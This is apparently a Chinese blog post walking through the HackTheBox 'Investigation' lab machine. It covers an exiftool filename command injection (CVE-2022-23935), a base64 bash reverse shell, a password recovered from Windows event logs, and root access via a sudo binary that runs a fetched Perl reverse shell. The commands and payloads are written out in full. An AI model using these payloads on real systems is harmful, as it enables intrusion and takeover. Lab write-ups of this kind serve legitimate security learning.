HackTheBox - Investigation

信息收集

先进行端口扫描,sudo nmap -A -Pn -v -min-rate 1000 10.10.11.197

Linux系统,开启了22和80端口,域名为eforenzics.htb,添加到/etc/hosts中

CVE利用

访问web服务,看上去像是个提供取证服务的网站
service.html目录下存在文件上传功能,只允许上传jpg格式的文件,上传后会使用exiftool进行解析并返回结果

网上搜索到exiftool的一个RCE漏洞CVE-2021-22204,但是靶机用的exiftool版本高了,无法利用
之后再通过搜索找到一个12.38版本前的漏洞CVE-2022-23935,可以进行利用,可以参考这篇文章Command Injection in Exiftool before 12.38 (github.com)

漏洞原理就是当文件名以|结尾时,exiftool将|识别为管道符从而认为文件名是系统命令,进而执行
将文件名改为ping -c 3 10.10.16.8| 并用tcpdump监听tun0网卡,得到回显,说明可以通过文件名进行RCE,接下来进行反弹shell

┌──(briyney㉿Briyney)-[~/桌面]
└─$ echo 'bash -i >& /dev/tcp/10.10.16.8/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo=

先将反弹命令编码,然后更改文件名为echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo='|base64 -d|bash|,发送,拿到shell

切换用户

拿到的是www-data的shell,权限很低,查看home目录发现smorton用户,接下来要做的就是切换到smorton用户
在/usr/local目录下发现一个Investigation目录,跟题目名字一样的目录,肯定有点猫腻,进去后发现一个Windows Event Logs for Analysis.msg文件,把它下到本机进行分析

nc -lvnp 9999 > 'Windows Event Logs for Analysis.msg'

nc 10.10.16.8 9999 < Windows\ Event\ Logs\ for\ Analysis.msg

可以看到这是一个outlook的message文件,用在线网站Free Online MSG Reader (aspose.app)查看邮件信息

邮件内容没有敏感信息,但是可以看到邮件中带着一个叫evtx-logs.zip附件,通过网站Free MSG EML Viewer | Free Online Email Viewer (encryptomatic.com)提取出附件

网上有很多工具和脚本能够将日志文件中的信息提取出来,这里我是直接用的Windows的日志查看器

经过查找,最后在登录失败(4625)的日志中找到疑似密码,smorton/Def@ultf0r3nz!csPa$$

ssh连接,登录成功

提权

执行sudo -l,发现存在一个可sudo执行程序binary,下载下来进行逆向分析

scp smorton@10.10.11.197:/usr/bin/binary .

主要功能代码:

int32_t main(int32_t argc, char** argv, char** envp)
{
    if (argc != 3)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (getuid() != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (strcmp(argv[2], "lDnxUysaQn") != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    puts("Running... ");
    FILE* rax_8 = fopen(argv[2], &data_2027);
    int64_t rax_9 = curl_easy_init();
    int32_t var_40 = 0x2712;
    curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
    int32_t var_3c = 0x2711;
    curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
    int32_t var_38 = 0x2d;
    curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
    if (curl_easy_perform(rax_9) != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
    char* rax_28 = malloc((rax_25 + 1));
    snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
    int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
    char* rax_40 = malloc((rax_37 + 1));
    snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
    fclose(rax_8);
    curl_easy_cleanup(rax_9);
    setuid(0);
    system(rax_40);
    system("rm -f ./lDnxUysaQn");
    return 0;
}

可以看到程序首先判断输入参数的个数是否为3个,其中程序名是第一个参数,所以我们要输入的数据是两个,然后判断是否以root身份运行程序,再然后第三个参数需要为lDnxUysaQn,之后调用了curl_easy_setopt()函数,对第二个参数进行curl,所以第二个参数应该是一个网址或者文件,之后会用perl进行读取执行,这样利用方式就显而易见了,只需在本机上创建一个perl的反弹shell,再用binary文件读取执行即可。

先写反弹shell

use Socket;
$i="10.10.16.7";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
        open(STDIN,">&S");
        open(STDOUT,">&S");
        open(STDERR,">&S");
        exec("/bin/sh -i");
};

然后开启http服务python3 -m http.server 9001并监听4444端口,在靶机上执行命令

sudo /usr/bin/binary 10.10.16.7:9001/shell.pl lDnxUysaQn

提权成功

posted @ 2023-01-31 11:12  Briyney  阅读(224)  评论(1编辑  收藏  举报